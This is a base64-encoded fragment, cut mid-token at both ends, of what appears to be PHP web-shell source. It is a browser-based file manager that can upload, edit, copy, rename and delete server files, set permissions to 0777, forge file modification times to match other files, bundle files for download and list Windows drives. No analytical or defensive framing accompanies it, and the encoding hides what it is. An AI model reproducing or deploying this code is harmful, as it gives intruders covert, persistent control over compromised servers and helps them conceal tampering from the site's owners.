ZGlycykpIHsNCg0KCQkJbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQltKCdEaXJlY3RvcnkgY3JlYXRlZCAnLihAbWtkaXIoJG1rZGlycywwNzc3KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoNCgkJCUBjaG1vZCgkbWtkaXJzLDA3NzcpOw0KDQoJCX0NCg0KCX0NCg0KDQoNCgkvLyA/Pz8/DQoNCgllbHNlaWYgKCRkb3VwZmlsZSkgew0KDQoJCW0oJ0ZpbGUgdXBsb2FkICcuKEBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwkdXBsb2FkZGlyLicvJy4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KDQoJfQ0KDQoNCg0KCS8vID8/Pz8NCg0KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsNCg0KCQkkZnAgPSBAZm9wZW4oJGVkaXRmaWxlbmFtZSwndycpOw0KDQoJCW0oJ1NhdmUgZmlsZSAnLihAZndyaXRlKCRmcCwkZmlsZWNvbnRlbnQpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQlAZmNsb3NlKCRmcCk7DQoNCgl9DQoNCg0KDQoJLy8gPz8/Pz8/DQoNCgllbHNlaWYgKCRwZmlsZSAmJiAkbmV3cGVybSkgew0KDQoJCWlmICghZmlsZV9leGlzdHMoJHBmaWxlKSkgew0KDQoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCSRuZXdwZXJtID0gYmFzZV9jb252ZXJ0KCRuZXdwZXJtLDgsMTApOw0KDQoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJLy8gPz8NCg0KCWVsc2VpZiAoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7DQoNCgkJJG5uYW1lID0gJG5vd3BhdGguJG5ld2ZpbGVuYW1lOw0KDQoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsNCg0KCQkJbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJLy8gPz8/Pw0KDQoJZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgew0KDQoJCWlmIChmaWxlX2V4aXN0cygkdG9maWxlKSB8fCAhZmlsZV9leGlzdHMoJHNuYW1lKSkgew0KDQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCW0oYmFzZW5hbWUoJHRvZmlsZSkuJyBjb3BpZWQgJy4oQGNvcHkoJHNuYW1lLCR0b2ZpbGUpID8gYmFzZW5hbWUoJHRvZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoNCgkJfQ0KDQoJfQ0KDQoNCg0KCS8vID8/Pz8NCg0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHRhcmZpbGUpIHsNCg0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkgfHwgIUBmaWxlX2V4aXN0cygkdGFyZmlsZSkpIHsNCg0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQkkdGltZSA9IEBmaWxlbXRpbWUoJHRhcmZpbGUpOw0KDQoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJLy8gPz8/Pz8NCg0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7DQoNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpKSB7DQoNCgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQkkdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7DQoNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KDQoJCX0NCg0KCX0NCg0KDQoNCgkvLyA/Pz8/DQoNCgllbHNlaWYoJGRvaW5nID09ICdkb3ducmFyJykgew0KDQoJCWlmICgkZGwpIHsNCg0KCQkJJGRmaWxlcz0nJzsNCg0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsNCg0KCQkJCSRkZmlsZXMuPSRmaWxlcGF0aC4nLCc7DQoNCgkJCX0NCg0KCQkJJGRmaWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsNCg0KCQkJJGRsPWV4cGxvZGUoJywnLCRkZmlsZXMpOw0KDQoJCQkkemlwPW5ldyBQSFBaaXAoJGRsKTsNCg0KCQkJJGNvZGU9JHppcC0+b3V0Ow0KDQoJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQoNCgkJCWhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsNCg0KCQkJaGVhZGVyKCdBY2NlcHQtTGVuZ3RoOiAnLnN0cmxlbigkY29kZSkpOw0KDQoJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7ZmlsZW5hbWU9Jy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ19GaWxlcy50YXIuZ3onKTsNCg0KCQkJZWNobyAkY29kZTsNCg0KCQkJZXhpdDsNCg0KCQl9IGVsc2Ugew0KDQoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJLy8gPz8/Pz8/DQoNCgllbHNlaWYoJGRvaW5nID09ICdkZWxmaWxlcycpIHsNCg0KCQlpZiAoJGRsKSB7DQoNCgkJCSRkZmlsZXM9Jyc7DQoNCgkJCSRzdWNjID0gJGZhaWwgPSAwOw0KDQoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgew0KDQoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgew0KDQoJCQkJCSRzdWNjKys7DQoNCgkJCQl9IGVsc2Ugew0KDQoJCQkJCSRmYWlsKys7DQoNCgkJCQl9DQoNCgkJCX0NCg0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQsY2hvb3NlICcuY291bnQoJGRsKS4nIHN1Y2Nlc3MgJy4kc3VjYy4nIGZhaWwgJy4kZmFpbCk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7DQoNCgkJfQ0KDQoJfQ0KDQoNCg0KCS8vPz8/Pw0KDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY3JlYXRlZGlyJykpOw0KDQoJbWFrZWhpZGUoJ25ld2Rpcm5hbWUnKTsNCg0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCg0KCWZvcm1mb290KCk7DQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlcGVybScpKTsNCg0KCW1ha2VoaWRlKCduZXdwZXJtJyk7DQoNCgltYWtlaGlkZSgncGZpbGUnKTsNCg0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCg0KCWZvcm1mb290KCk7DQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidjb3B5ZmlsZScpKTsNCg0KCW1ha2VoaWRlKCdzbmFtZScpOw0KDQoJbWFrZWhpZGUoJ3RvZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KDQoJZm9ybWZvb3QoKTsNCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlbmFtZScpKTsNCg0KCW1ha2VoaWRlKCdvbGRuYW1lJyk7DQoNCgltYWtlaGlkZSgnbmV3ZmlsZW5hbWUnKTsNCg0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCg0KCWZvcm1mb290KCk7DQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlb3Bmb3JtJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicpOw0KDQoJbWFrZWhpZGUoJ29wZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicpOw0KDQoJZm9ybWZvb3QoKTsNCg0KDQoNCgkkZnJlZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJG5vd3BhdGgpOw0KDQoJISRmcmVlICYmICRmcmVlID0gMDsNCg0KCSRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkbm93cGF0aCk7DQoNCgkhJGFsbCAmJiAkYWxsID0gMDsNCg0KCSR1c2VkID0gJGFsbC0kZnJlZTsNCg0KCSR1c2VkX3BlcmNlbnQgPSBAcm91bmQoMTAwLygkYWxsLyRmcmVlKSwyKTsNCg0KCXAoJzxoMj5GaWxlIE1hbmFnZXIgLSBDdXJyZW50IGRpc2sgZnJlZSAnLnNpemVjb3VudCgkZnJlZSkuJyBvZiAnLnNpemVjb3VudCgkYWxsKS4nICgnLiR1c2VkX3BlcmNlbnQuJyUpPC9oMj4nKTsNCg0KDQoNCj8+DQoNCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJtYXJnaW46MTBweCAwOyI+DQoNCiAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgaWQ9ImdvZGlyIiBuYW1lPSJnb2RpciI+DQoNCiAgPHRyPg0KDQogICAgPHRkIG5vd3JhcD5DdXJyZW50IERpcmVjdG9yeSAoPD9waHAgZWNobyAkZGlyX3dyaXRlYWJsZTs/PiwgPD9waHAgZWNobyBnZXRDaG1vZCgkbm93cGF0aCk7Pz4pPC90ZD4NCg0KCTx0ZCB3aWR0aD0iMTAwJSI+PGlucHV0IG5hbWU9InZpZXdfd3JpdGFibGUiIHZhbHVlPSIwIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyAkbm93cGF0aDs/PiIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjEwMCU7bWFyZ2luOjAgOHB4OyI+PC90ZD4NCg0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+DQoNCiAgPC90cj4NCg0KICA8L2Zvcm0+DQoNCjwvdGFibGU+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCg0KZnVuY3Rpb24gY3JlYXRlZGlyKCl7DQoNCgl2YXIgbmV3ZGlybmFtZTsNCg0KCW5ld2Rpcm5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZGlyZWN0b3J5IG5hbWU6JywgJycpOw0KDQoJaWYgKCFuZXdkaXJuYW1lKSByZXR1cm47DQoNCgkkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7DQoNCgkkKCdjcmVhdGVkaXInKS5zdWJtaXQoKTsNCg0KfQ0KDQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7DQoNCgl2YXIgbmV3cGVybTsNCg0KCW5ld3Blcm0gPSBwcm9tcHQoJ0N1cnJlbnQgZmlsZTonK3BmaWxlKydcblBsZWFzZSBpbnB1dCBuZXcgYXR0cmlidXRlOicsICcnKTsNCg0KCWlmICghbmV3cGVybSkgcmV0dXJuOw0KDQoJJCgnZmlsZXBlcm0nKS5uZXdwZXJtLnZhbHVlPW5ld3Blcm07DQoNCgkkKCdmaWxlcGVybScpLnBmaWxlLnZhbHVlPXBmaWxlOw0KDQoJJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsNCg0KfQ0KDQpmdW5jdGlvbiBjb3B5ZmlsZShzbmFtZSl7DQoNCgl2YXIgdG9maWxlOw0KDQoJdG9maWxlID0gcHJvbXB0KCdPcmlnaW5hbCBmaWxlOicrc25hbWUrJ1xuUGxlYXNlIGlucHV0IG9iamVjdCBmaWxlIChmdWxscGF0aCk6JywgJycpOw0KDQoJaWYgKCF0b2ZpbGUpIHJldHVybjsNCg0KCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsNCg0KCSQoJ2NvcHlmaWxlJykuc25hbWUudmFsdWU9c25hbWU7DQoNCgkkKCdjb3B5ZmlsZScpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIHJlbmFtZShvbGRuYW1lKXsNCg0KCXZhciBuZXdmaWxlbmFtZTsNCg0KCW5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsNCg0KCWlmICghbmV3ZmlsZW5hbWUpIHJldHVybjsNCg0KCSQoJ3JlbmFtZScpLm5ld2ZpbGVuYW1lLnZhbHVlPW5ld2ZpbGVuYW1lOw0KDQoJJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOw0KDQoJJCgncmVuYW1lJykuc3VibWl0KCk7DQoNCn0NCg0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7DQoNCglpZiAobSAmJiAhY29uZmlybShtKSkgew0KDQoJCXJldHVybjsNCg0KCX0NCg0KCSQoJ2ZpbGVsaXN0JykuZG9pbmcudmFsdWU9ZG9pbmc7DQoNCglpZiAodGhlZmlsZSl7DQoNCgkJJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7DQoNCgl9DQoNCgkkKCdmaWxlbGlzdCcpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZWZpbGUobm93cGF0aCl7DQoNCgl2YXIgZmlsZW5hbWU7DQoNCglmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycpOw0KDQoJaWYgKCFmaWxlbmFtZSkgcmV0dXJuOw0KDQoJb3BmaWxlKCdlZGl0ZmlsZScsbm93cGF0aCArIGZpbGVuYW1lLG5vd3BhdGgpOw0KDQp9DQoNCmZ1bmN0aW9uIG9wZmlsZShhY3Rpb24sb3BmaWxlLGRpcil7DQoNCgkkKCdmaWxlb3Bmb3JtJykuYWN0aW9uLnZhbHVlPWFjdGlvbjsNCg0KCSQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOw0KDQoJJCgnZmlsZW9wZm9ybScpLmRpci52YWx1ZT1kaXI7DQoNCgkkKCdmaWxlb3Bmb3JtJykuc3VibWl0KCk7DQoNCn0NCg0KZnVuY3Rpb24gZ29kaXIoZGlyLHZpZXdfd3JpdGFibGUpew0KDQoJaWYgKHZpZXdfd3JpdGFibGUpIHsNCg0KCQkkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsNCg0KCX0NCg0KCSQoJ2dvZGlyJykuZGlyLnZhbHVlPWRpcjsNCg0KCSQoJ2dvZGlyJykuc3VibWl0KCk7DQoNCn0NCg0KPC9zY3JpcHQ+DQoNCiAgPD9waHANCg0KCXRiaGVhZCgpOw0KDQoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PHRyIGNsYXNzPSJhbHQxIj48dGQgY29sc3Bhbj0iNyIgc3R5bGU9InBhZGRpbmc6NXB4OyI+Jyk7DQoNCglwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iYnQiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7DQoNCglwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLidcJyk7Ij5XZWJSb290PC9hPicpOw0KDQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoNCgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOw0KDQoJfSBlbHNlIHsNCg0KCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+VmlldyBXcml0YWJsZTwvYT4nKTsNCg0KCX0NCg0KCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZGlyKCk7Ij5DcmVhdGUgRGlyZWN0b3J5PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZmlsZShcJycuJG5vd3BhdGguJ1wnKTsiPkNyZWF0ZSBGaWxlPC9hPicpOw0KDQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCg0KCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsNCg0KCQlpZiAoJG9iaiAmJiBpc19vYmplY3QoJG9iaikpIHsNCg0KCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsNCg0KCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7DQoNCgkJCQlpZiAoJGRyaXZlLT5Ecml2ZVR5cGUgPT0gMikgew0KDQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCg0KCQkJCX0gZWxzZSB7DQoNCgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlR5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOw0KDQoJCQkJfQ0KDQoJCQl9DQoNCgkJfQ0KDQoJfQ0KDQoNCg0KCXAoJzwvdGQ+PC90cj48L2Zvcm0+Jyk7DQoNCg0KDQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7DQoNCg0KDQoJLy8/Pz8/Pz8/Pz8/Pw0KDQoJJGRpcmRhdGE9YXJyYXkoKTsNCg0KCSRmaWxlZGF0YT1hcnJheSgpOw0KDQoNCg0KCWlmICgkdmlld193cml0YWJsZSkgew0KDQoJCSRkaXJkYXRhID0gR2V0TGlzdCgkbm93cGF0aCk7DQoNCgl9IGVsc2Ugew0KDQoJCS8vID8/Pz8NCg0KCQkkZGlycz1Ab3BlbmRpcigkZGlyKTsNCg0KCQl3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoNCgkJCSRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsNCg0KCQkJaWYoQGlzX2RpcigkZmlsZXBhdGgpKXsNCg0KCQkJCSRkaXJkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCg0KCQkJCSRkaXJkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCg0KCQkJCSRkaXJkYlsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOw0KDQoJCQkJJGRpcmRiWydkaXJwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsNCg0KCQkJCSRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KDQoJCQkJJGRpcmRiWydkaXJsaW5rJ109JG5vd3BhdGg7DQoNCgkJCQkkZGlyZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOw0KDQoJCQkJJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoNCgkJCQkkZGlyZGF0YVtdPSRkaXJkYjsNCg0KCQkJfSBlbHNlIHsJCQ0KDQoJCQkJJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCg0KCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOw0KDQoJCQkJJGZpbGVkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCg0KCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7DQoNCgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7DQoNCgkJCQkkZmlsZWRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7DQoNCgkJCQkkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7DQoNCgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsNCg0KCQkJCSRmaWxlZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsNCg0KCQkJCSRmaWxlZGF0YVtdPSRmaWxlZGI7DQoNCgkJCX0NCg0KCQl9Ly8gd2hpbGUNCg0KCQl1bnNldCgkZGlyZGIpOw0KDQoJCXVuc2V0KCRmaWxlZGIpOw0KDQoJCUBjbG9zZWRpcigkZGlycyk7DQoNCgl9DQoNCglAc29ydCgkZGlyZGF0YSk7DQoNCglAc29ydCgkZmlsZWRhdGEpOw0KDQoJJGRpcl9pID0gJzAnOw0KDQoJZm9yZWFjaCgkZGlyZGF0YSBhcyAka2V5ID0+ICRkaXJkYil7DQoNCgkJaWYoJGRpcmRiWydmaWxlbmFtZSddIT0nLi4nICYmICRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7DQoNCgkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48Zm9udCBmYWNlPSJ3aW5nZGluZ3MiIHNpemU9IjMiPjA8L2ZvbnQ+PC90ZD4nKTsNCg0KCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPicuJGRpcmRiWydtdGltZSddLic8L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPi0tPC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlyY2htb2QnXS4nPC9hPiAvICcpOw0KDQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJwZXJtJ10uJzwvYT4nLiRkaXJkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7DQoNCgkJCXAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxkaXJcJyxcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyxcJ0FyZSB5b3Ugc3VyZSB3aWxsIGRlbGV0ZSAnLiRkaXJkYlsnZmlsZW5hbWUnXS4nPyBcXG5cXG5JZiBub24tZW1wdHkgZGlyZWN0b3J5LCB3aWxsIGJlIGRlbGV0ZSBhbGwgdGhlIGZpbGVzLlwnKSI+RGVsPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6cmVuYW1lKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT48L3RkPicpOw0KDQoJCQlwKCc8L3RyPicpOw0KDQoJCQkkZGlyX2krKzsNCg0KCQl9IGVsc2Ugew0KDQoJCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ109PScuLicpIHsNCg0KCQkJCXAoJzx0ciBjbGFzcz0nLmJnKCkuJz4nKTsNCg0KCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsNCg0KCQkJCXAoJzwvdHI+Jyk7DQoNCgkJCX0NCg0KCQl9DQoNCgl9DQoNCg0KDQoJcCgnPHRyIGJnY29sb3I9IiNkZGRkZGQiIHN0bHllPSJib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7Ij48dGQgY29sc3Bhbj0iNiIgaGVpZ2h0PSI1Ij48L3RkPjwvdHI+Jyk7DQoNCglwKCc8Zm9ybSBpZD0iZmlsZWxpc3QiIG5hbWU9ImZpbGVsaXN0IiBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJwb3N0Ij4nKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQo